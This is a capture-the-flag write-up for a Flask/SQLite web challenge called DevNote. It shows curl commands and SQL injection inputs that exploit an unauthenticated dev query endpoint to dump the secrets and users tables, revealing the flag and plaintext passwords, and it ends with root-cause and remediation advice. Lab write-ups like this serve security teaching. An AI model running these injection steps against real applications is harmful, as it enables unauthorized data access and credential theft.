DevNote: SQL Injection via Dev Query Endpoint

Flag: KPMG_CTF{AXUxtYpBFDZKBL2uyy6TCT7zpTEy-bciVp4IrUloohVu}

Target: http://kicyber-03a6593011c4-devnote-0-0.chals.io Category: Web (Flask/SQLite) / SQL injection + missing authorization Hint (from KPMG CTF): “Are you privileged enough to get the flag”

Overview

DevNote is a tiny Flask app with a login page and a dashboard. The login page leaks guest credentials in an HTML comment. Once logged in, the dashboard exposes an internal “Dev Query Interface” at /dashboard?q= that drops the q parameter straight into a SQLite query (SELECT <q>) with no quoting and no privilege check. Despite the “admin only” framing, a guest can simply select the secrets table and read the flag.

Recon

1. Login page leaks creds

base="https://kicyber-03a6593011c4-devnote-0-0.chals.io"
curl -s "$base/" | grep -i '<!--'

Output:

<!--guest:guest123 -->

Server is Werkzeug/3.1.8 Python/3.11.15 (Flask dev server).

2. Log in and reach the dashboard

curl -s -i -c dn.txt -b dn.txt -X POST "$base/login" --data "username=guest&password=guest123" | grep -iE 'location|set-cookie'
# Location: /dashboard
# Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0....   (Flask session = {"username":"guest"})
curl -s -b dn.txt "$base/dashboard"

The dashboard says:

Note: Only admin should have access to sensitive data.
Dev Query Interface (internal use):  /dashboard?q=

The injection

q is reflected into a SQL query. Probing shows SQLite and that q sits where a column/expression is expected:

r(){ curl -s -b dn.txt "$base/dashboard" --data-urlencode "q=$1" -G | grep -A1 'Query Result' | tail -1 | sed 's/<[^>]*>//g'; }
r "test"                 # no such column: test
r "1"                    # [{'1': 1}]
r "sqlite_version()"     # [{'sqlite_version()': '3.46.1'}]
r "name FROM sqlite_master"   # [{'name': 'users'}, {'name': 'secrets'}]

So the backend query is effectively SELECT <q>, with full control over the select list, and I can append FROM/WHERE. (1;SELECT 1 → “You can only execute one statement at a time”, so it’s a single-statement execute, which is all that’s needed here.) Tables: users, secrets.

Exploitation (SOLVED)

Read the schema and dump the tables:

r "sql FROM sqlite_master"   # table definitions
r "* FROM secrets"
r "* FROM users"

Output:

secrets: [{'id': 1, 'data': 'KPMG_CTF{AXUxtYpBFDZKBL2uyy6TCT7zpTEy-bciVp4IrUloohVu}'}]
users:   [{'id':1,'username':'admin','password':'Adm1n_Ultra_S3cr3t!'},
          {'id':2,'username':'dev','password':'devpassword123'},
          {'id':3,'username':'guest','password':'guest123'}]
schema:  CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)
         CREATE TABLE secrets (id INTEGER PRIMARY KEY, data TEXT)

Flag: KPMG_CTF{AXUxtYpBFDZKBL2uyy6TCT7zpTEy-bciVp4IrUloohVu}

As a bonus the injection also dumped admin’s cleartext password (Adm1n_Ultra_S3cr3t!), but no privilege escalation is needed: the dev query endpoint has no authorization check, so guest reads secrets directly.

Why it works

  • Raw string interpolation into SQL. The q value is concatenated into SELECT <q> and run, so any attacker-supplied SQL executes. The error messages (“no such column”, “near X: syntax error”) confirmed the sink and helped map the structure.
  • Missing authorization. The “Dev Query Interface” is reachable by any authenticated user; the “admin only” note is advisory, not enforced. The hint’s “privileged enough” is a red herring; you never need to be admin.
  • Secrets stored in a reachable table. The flag lives in secrets, in the same database the query endpoint can read.

Root cause & fix

  • Never build SQL by string concatenation. Use parameterized queries; here there is no reason to let users supply arbitrary SQL at all.
  • Remove/guard debug endpoints. A raw query console must never ship to production, and if it must exist, gate it behind real authorization and a strict allow-list.
  • Enforce access control server-side, not with a comment that says “admin only.”
  • Don’t store plaintext passwords; hash them.

Takeaways

  • Read the HTML source first; creds in comments (<!--guest:guest123 -->) are a common freebie.
  • When a param’s value appears as a column name in an error, you’re in a SELECT <input> sink: enumerate with sqlite_master, then SELECT * FROM <table>.
  • “You must be admin” challenges sometimes just need you to read where the data lives; check for a missing authorization check before chasing session/JWT forgery.